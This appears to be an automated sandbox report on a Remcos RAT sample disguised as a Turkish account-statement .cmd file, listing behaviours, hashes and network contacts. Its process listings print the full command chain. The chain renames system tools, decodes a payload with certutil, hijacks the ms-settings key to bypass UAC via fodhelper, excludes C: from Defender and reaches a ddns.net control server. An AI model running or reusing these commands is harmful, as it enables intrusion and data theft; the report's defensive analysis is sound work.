Malware Analysis Report

2024-12-07 22:40

Sample ID 240722-kz8t9ayfpg
Target 41570002689_20220814_05352297_HesapOzeti.cmd
SHA256 0040025ba2e8d93e1d1c118280257575f28c2e2209707bb9a11c15676c55e944
Tags
remcos july 17 collection persistence rat spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0040025ba2e8d93e1d1c118280257575f28c2e2209707bb9a11c15676c55e944

Threat Level: Known bad

The file 41570002689_20220814_05352297_HesapOzeti.cmd was found to be: Known bad.

Malicious Activity Summary

remcos july 17 collection persistence rat spyware stealer

Remcos

NirSoft WebBrowserPassView

Detected Nirsoft tools

NirSoft MailPassView

Loads dropped DLL

Executes dropped EXE

Reads user/profile data of web browsers

Checks computer location settings

Accesses Microsoft Outlook accounts

Adds Run key to start application

Suspicious use of SetThreadContext

Program crash

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Runs ping.exe

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Script User-Agent

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 09:03

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 09:03

Reported

2024-07-22 09:06

Platform

win7-20240704-en

Max time kernel

141s

Max time network

124s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\kn.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\kn.exe N/A
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Public\Libraries\CLEAN.COM

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2092 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2092 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2092 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2092 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2816 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2816 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2816 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2092 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2724 wrote to memory of 2844 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2724 wrote to memory of 2844 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2724 wrote to memory of 2844 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2092 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2188 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2188 wrote to memory of 2636 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2092 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2092 wrote to memory of 2656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe
PID 2700 wrote to memory of 708 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 712

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\CLEAN.GIF

MD5 4c63a70c4224e12f302dc97da70bff09
SHA1 27da43a347a39fc3582ce98bb77726bf0f0d788b
SHA256 00032a8c09f96d692586cfa0b0894bb12049e8266f9bc8c2a5950f4c542269fd
SHA512 a21072370b65e9a0dc9a7be4c840c4353114e9e1f695cadd46ad1fab2fd751d27e9a38b6dad545bbcba2a2eb93c640791be31fc08e32f055c6fad4efec444544

C:\Users\Public\Libraries\CLEAN.COM

MD5 37d7e65db3d1daaba7f4f3a422f256c0
SHA1 845ddbc4975214a41098d5d7d1a039e27a9acc9d
SHA256 e6967254aa75982a43c73985e63d60f5b0688ceeb06c11c1748622959cb95c08
SHA512 edb70bdda279422aaded553a3d6d5ad36c1659181394c4c488f41d257b5fa1707f0db456d2c549a7c8ec8944b3ca90703788ccce3f0d8cb26fc43b6fd42a3011

memory/2700-34-0x0000000000400000-0x00000000004F8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 09:03

Reported

2024-07-22 09:06

Platform

win10v2004-20240709-en

Max time kernel

148s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

Signatures

Remcos

rat remcos

Detected Nirsoft tools

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation C:\Users\Public\Libraries\lzfanvaS.pif N/A
Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Public\Libraries\CLEAN.COM N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Savnafzl = "C:\\Users\\Public\\Savnafzl.url" C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1588 set thread context of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 set thread context of 4100 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\CLEAN.COM
PID 1588 set thread context of 3116 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\CLEAN.COM
PID 1588 set thread context of 2232 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\CLEAN.COM

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\CLEAN.COM N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2928 wrote to memory of 2888 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2928 wrote to memory of 2888 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2928 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2792 wrote to memory of 4632 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2792 wrote to memory of 4632 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2928 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4024 wrote to memory of 64 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 4024 wrote to memory of 64 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2928 wrote to memory of 3840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 3840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3840 wrote to memory of 3144 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3840 wrote to memory of 3144 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2928 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2928 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2928 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\CLEAN.COM
PID 2928 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2416 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2928 wrote to memory of 2416 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 1588 wrote to memory of 3320 N/A C:\Users\Public\Libraries\CLEAN.COM C:\Users\Public\Libraries\lzfanvaS.pif
PID 3320 wrote to memory of 4676 N/A C:\Users\Public\Libraries\lzfanvaS.pif C:\Windows\system32\cmd.exe
PID 3320 wrote to memory of 4676 N/A C:\Users\Public\Libraries\lzfanvaS.pif C:\Windows\system32\cmd.exe
PID 4676 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 4676 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 4676 wrote to memory of 2236 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2236 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 4240 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 4240 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2944 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2944 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2944 wrote to memory of 2888 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2944 wrote to memory of 2888 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4676 wrote to memory of 1348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 1348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1348 wrote to memory of 1636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1348 wrote to memory of 1636 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4676 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 2792 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2792 wrote to memory of 1316 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2792 wrote to memory of 1316 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4676 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1524 wrote to memory of 440 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1524 wrote to memory of 440 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 440 wrote to memory of 3536 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 440 wrote to memory of 3536 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3536 wrote to memory of 4836 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 3536 wrote to memory of 4836 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 4676 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 4676 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 4676 wrote to memory of 1544 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 1544 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1544 wrote to memory of 2936 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1544 wrote to memory of 2936 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4676 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4676 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5116 wrote to memory of 2640 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 5116 wrote to memory of 2640 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S

C:\Users\Public\Libraries\lzfanvaS.pif

C:\Users\Public\Libraries\lzfanvaS.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CC87.tmp\CC98.tmp\CC99.bat C:\Users\Public\Libraries\lzfanvaS.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Savnafzl.PIF

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\wygdsajldzb"

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\gslwtsumrhtarr"

C:\Users\Public\Libraries\CLEAN.COM

C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\iuygmlfgmplfuylor"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.139.11:443 onedrive.live.com tcp
US 13.107.139.11:443 onedrive.live.com tcp
US 8.8.8.8:53 l67sxa.db.files.1drv.com udp
US 13.107.42.12:443 l67sxa.db.files.1drv.com tcp
US 8.8.8.8:53 11.139.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 23.62.195.195:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 method890.ddns.net udp
LT 94.156.79.35:6902 method890.ddns.net tcp
LT 94.156.79.35:6902 method890.ddns.net tcp
US 8.8.8.8:53 geoplugin.net udp
US 8.8.8.8:53 35.79.156.94.in-addr.arpa udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
